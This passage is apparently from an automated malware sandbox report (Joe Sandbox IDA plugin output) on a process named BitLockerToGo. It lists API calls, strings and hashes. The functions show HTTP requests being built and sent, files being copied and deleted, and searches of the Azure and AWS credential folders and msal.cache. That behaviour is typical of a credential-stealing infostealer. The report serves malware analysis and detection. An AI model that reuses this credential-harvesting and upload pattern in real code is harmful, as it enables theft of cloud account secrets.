lstrcat.KERNEL32(?,029E5DE8), ref: 02757C6A
lstrcat.KERNEL32(?,029E5E90), ref: 02757C7E

Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020,027717FC), ref: 02757606
Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020,00000000), ref: 02757648
Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020, : ), ref: 0275765A
Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020,00000000), ref: 0275768F
Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020,02771804), ref: 027576A0
Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020,00000000), ref: 027576D3
Part of subcall function 027575D0: lstrcat.KERNEL32(2EE56020,02771808), ref: 027576ED
Part of subcall function 027575D0: task.LIBCPMTD ref: 027576FB

lstrcat.KERNEL32(?,029E4B48), ref: 02757E0B
lstrcat.KERNEL32(?,029E53B8), ref: 02757E1E
lstrlen.KERNEL32(2EE56020), ref: 02757E2B
lstrlen.KERNEL32(2EE56020), ref: 02757E3B

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: a821f497a166ab396ece676356f5c787dace9228b543c3e1a1f0f51af6c58b57
Instruction ID: ba47026854ca5abfefa050b06da29fc4852030d2e666fd45372acf372ebd354f
Opcode Fuzzy Hash: a821f497a166ab396ece676356f5c787dace9228b543c3e1a1f0f51af6c58b57
Instruction Fuzzy Hash: B53230B2D54314ABCB15EBA4DC8CDEE737DFB44710F444A88E619A2080EA74EB99CF51

Function 02755100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 027547EA
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754801
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754818
Part of subcall function 027547B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02754839
Part of subcall function 027547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 02754849

lstrlen.KERNEL32(00000000), ref: 02755193

Part of subcall function 02768EA0: CryptBinaryToStringA.CRYPT32(00000000,02755184,40000001,00000000,00000000,?,02755184), ref: 02768EC0

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 02755207
StrCmpCA.SHLWAPI(?,029E4B88), ref: 02755225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02755340
HttpOpenRequestA.WININET(00000000,029E4CC8,?,029E5F38,00000000,00000000,00400100,00000000), ref: 027553A4

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,029E4BC8,00000000,?,029D98C8,00000000,?,027719DC,00000000,?,027651CF), ref: 02755737
lstrlen.KERNEL32(00000000), ref: 0275574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0275575C
RtlAllocateHeap.NTDLL(00000000), ref: 02755763
lstrlen.KERNEL32(00000000), ref: 02755778
memcpy.MSVCRT(?,00000000,00000000), ref: 0275578F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 027557A9
memcpy.MSVCRT(?), ref: 027557B6
lstrlen.KERNEL32(00000000), ref: 027557C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 027557E1
memcpy.MSVCRT(?), ref: 027557F1
lstrlen.KERNEL32(00000000,?,?), ref: 0275580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 02755822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0275584D
InternetCloseHandle.WININET(00000000), ref: 027558B1
InternetCloseHandle.WININET(00000000), ref: 027558BE
InternetCloseHandle.WININET(00000000), ref: 027558C8

Strings

--, xrefs: 02755280
", xrefs: 027555C4
------, xrefs: 027553B7
------, xrefs: 02755297
", xrefs: 02755482
------, xrefs: 027554F9
", xrefs: 02755706
------, xrefs: 0275563B

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: 8a401498662898a64268dd117ac59c6aec5ca00b8bedd310813ea3559af7915b
Instruction ID: 81ae411a62e48fe24c91fea12507c70efeaea2431966101f11318cab47146391
Opcode Fuzzy Hash: 8a401498662898a64268dd117ac59c6aec5ca00b8bedd310813ea3559af7915b
Instruction Fuzzy Hash: 54320071D20219AADB16EBA4DC9DFFEB379BF54700F504169E90672090DF706A49CFA0

Function 02755960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 027547EA
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754801
Part of subcall function 027547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02754818
Part of subcall function 027547B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02754839
Part of subcall function 027547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 02754849

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 027559F8
StrCmpCA.SHLWAPI(?,029E4B88), ref: 02755A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02755B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,029E4BD8,00000000,?,029D98C8,00000000,?,02771A1C), ref: 02755E71
lstrlen.KERNEL32(00000000), ref: 02755E82
GetProcessHeap.KERNEL32(00000000,?), ref: 02755E93
RtlAllocateHeap.NTDLL(00000000), ref: 02755E9A
lstrlen.KERNEL32(00000000), ref: 02755EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 02755EC6
lstrlen.KERNEL32(00000000), ref: 02755ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 02755EF1
memcpy.MSVCRT(?), ref: 02755EFE
lstrlen.KERNEL32(00000000,?,?), ref: 02755F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 02755F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 02755F4C
InternetCloseHandle.WININET(00000000), ref: 02755FB0
InternetCloseHandle.WININET(00000000), ref: 02755FBD
HttpOpenRequestA.WININET(00000000,029E4CC8,?,029E5F38,00000000,00000000,00400100,00000000), ref: 02755BF8

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

InternetCloseHandle.WININET(00000000), ref: 02755FC7

Strings

", xrefs: 02755CD5
------, xrefs: 02755D4C
------, xrefs: 02755C0B
", xrefs: 02755E16
------, xrefs: 02755A96

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1703137719-2180234286
Opcode ID: 13a4cd9ff11b436a08b9ca45e4bcf78310e0de6028a370a0e4187b6e3b426365
Instruction ID: 6250b0a27cbc6131615da4f9afed94e9e0dbfb700446a3a56d95ec75da3629d8
Opcode Fuzzy Hash: 13a4cd9ff11b436a08b9ca45e4bcf78310e0de6028a370a0e4187b6e3b426365
Instruction Fuzzy Hash: F212C071820119ABDB16EBA4DC9DFFEB379FF14700F5045A9A90672090EF706A49CFA4

Function 0275A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0276AA70: StrCmpCA.SHLWAPI(00000000,02771470,0275D1A2,02771470,00000000), ref: 0276AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0275AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0275AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0275ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0275A8B0

Part of subcall function 0276A820: lstrlen.KERNEL32(00000000,?,?,02765B54,02770ADB,02770ADA,?,?,02766B16,00000000,?,029D0578,?,0277110C,?,00000000), ref: 0276A82B
Part of subcall function 0276A820: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A885

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

lstrcat.KERNEL32(?,00000000), ref: 0275ACEB
lstrcat.KERNEL32(?,02771320), ref: 0275ACFA
lstrcat.KERNEL32(?,00000000), ref: 0275AD0D
lstrcat.KERNEL32(?,02771324), ref: 0275AD1C
lstrcat.KERNEL32(?,00000000), ref: 0275AD2F
lstrcat.KERNEL32(?,02771328), ref: 0275AD3E
lstrcat.KERNEL32(?,00000000), ref: 0275AD51
lstrcat.KERNEL32(?,0277132C), ref: 0275AD60
lstrcat.KERNEL32(?,00000000), ref: 0275AD73
lstrcat.KERNEL32(?,02771330), ref: 0275AD82
lstrcat.KERNEL32(?,00000000), ref: 0275AD95
lstrcat.KERNEL32(?,02771334), ref: 0275ADA4
lstrcat.KERNEL32(?,00000000), ref: 0275ADB7
lstrlen.KERNEL32(?), ref: 0275AE0D
lstrlen.KERNEL32(?), ref: 0275AE1C
memset.MSVCRT ref: 0275AE6B

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Part of subcall function 02759E10: memcmp.MSVCRT(?,v20,00000003), ref: 02759E2D

DeleteFileA.KERNEL32(00000000), ref: 0275AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0275ABD4

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: 04b8111e6ac69b024fadcb7c98976fd757f28a65bcead49e04a77c502f4847c1
Instruction ID: dbf631b335e11d01ae303abf222e2b5991540114b1912f44136a4e1285bdddd4
Opcode Fuzzy Hash: 04b8111e6ac69b024fadcb7c98976fd757f28a65bcead49e04a77c502f4847c1
Instruction Fuzzy Hash: 1C122D719101099BDB06FBA4DD9EEFE7379AF14301F504569A907B6090EF35AE09CFA0

Function 0275CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 02768B60: GetSystemTime.KERNEL32(?,029D9928,027705AE,?,?,?,?,?,?,?,?,?,02754963,?,00000014), ref: 02768B86

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0275CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0275D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0275D0CE
lstrcat.KERNEL32(?,00000000), ref: 0275D208
lstrcat.KERNEL32(?,02771478), ref: 0275D217
lstrcat.KERNEL32(?,00000000), ref: 0275D22A
lstrcat.KERNEL32(?,0277147C), ref: 0275D239
lstrcat.KERNEL32(?,00000000), ref: 0275D24C
lstrcat.KERNEL32(?,02771480), ref: 0275D25B
lstrcat.KERNEL32(?,00000000), ref: 0275D26E
lstrcat.KERNEL32(?,02771484), ref: 0275D27D
lstrcat.KERNEL32(?,00000000), ref: 0275D290
lstrcat.KERNEL32(?,02771488), ref: 0275D29F
lstrcat.KERNEL32(?,00000000), ref: 0275D2B2
lstrcat.KERNEL32(?,0277148C), ref: 0275D2C1
lstrcat.KERNEL32(?,00000000), ref: 0275D2D4
lstrcat.KERNEL32(?,02771490), ref: 0275D2E3

Part of subcall function 0276A820: lstrlen.KERNEL32(00000000,?,?,02765B54,02770ADB,02770ADA,?,?,02766B16,00000000,?,029D0578,?,0277110C,?,00000000), ref: 0276A82B
Part of subcall function 0276A820: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A885

lstrlen.KERNEL32(?), ref: 0275D32A
lstrlen.KERNEL32(?), ref: 0275D339
memset.MSVCRT ref: 0275D388

Part of subcall function 0276AA70: StrCmpCA.SHLWAPI(00000000,02771470,0275D1A2,02771470,00000000), ref: 0276AA8F

DeleteFileA.KERNEL32(00000000), ref: 0275D3B4

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 63f6cc1479c924fd71d2f4c31706237af93239c4a53ed880eb17c39067fd15f6
Instruction ID: 3bce92ac062034c8e9b6f8e599c5c942c95225fc58168f76845cc9a519b2a498
Opcode Fuzzy Hash: 63f6cc1479c924fd71d2f4c31706237af93239c4a53ed880eb17c39067fd15f6
Instruction Fuzzy Hash: 97E13A72950109ABDB06EBA4DD9DEFE7379EF14301F104568E907B6090DE35AE1ACFA0

Function 02764D70 Relevance: 28.6, APIs: 10, Strings: 9, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02764D87

Part of subcall function 02768DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

lstrcat.KERNEL32(?,00000000), ref: 02764DB0
lstrcat.KERNEL32(?,\.azure\), ref: 02764DCD

Part of subcall function 02764910: wsprintfA.USER32 ref: 0276492C
Part of subcall function 02764910: FindFirstFileA.KERNEL32(?,?), ref: 02764943

memset.MSVCRT ref: 02764E13
lstrcat.KERNEL32(?,00000000), ref: 02764E3C
lstrcat.KERNEL32(?,\.aws\), ref: 02764E59

Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,02770FDC), ref: 02764971
Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,02770FE0), ref: 02764987
Part of subcall function 02764910: FindNextFileA.KERNEL32(000000FF,?), ref: 02764B7D
Part of subcall function 02764910: FindClose.KERNEL32(000000FF), ref: 02764B92

memset.MSVCRT ref: 02764E9F
lstrcat.KERNEL32(?,00000000), ref: 02764EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 02764EE5

Part of subcall function 02764910: wsprintfA.USER32 ref: 027649B0
Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,027708D2), ref: 027649C5
Part of subcall function 02764910: wsprintfA.USER32 ref: 027649E2
Part of subcall function 02764910: PathMatchSpecA.SHLWAPI(?,?), ref: 02764A1E
Part of subcall function 02764910: lstrcat.KERNEL32(?,029E4B48), ref: 02764A4A
Part of subcall function 02764910: lstrcat.KERNEL32(?,02770FF8), ref: 02764A5C
Part of subcall function 02764910: lstrcat.KERNEL32(?,?), ref: 02764A70
Part of subcall function 02764910: lstrcat.KERNEL32(?,02770FFC), ref: 02764A82
Part of subcall function 02764910: lstrcat.KERNEL32(?,?), ref: 02764A96
Part of subcall function 02764910: CopyFileA.KERNEL32(?,?,00000001), ref: 02764AAC
Part of subcall function 02764910: DeleteFileA.KERNEL32(?), ref: 02764B31

memset.MSVCRT ref: 02764F2B

Strings

*.*, xrefs: 02764E64
\.aws\, xrefs: 02764E4D
Azure\.azure, xrefs: 02764DD3
*.*, xrefs: 02764DD8
Azure\.aws, xrefs: 02764E5F
\.IdentityService\, xrefs: 02764ED9
\.azure\, xrefs: 02764DC1
msal.cache, xrefs: 02764EF0
Azure\.IdentityService, xrefs: 02764EEB

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
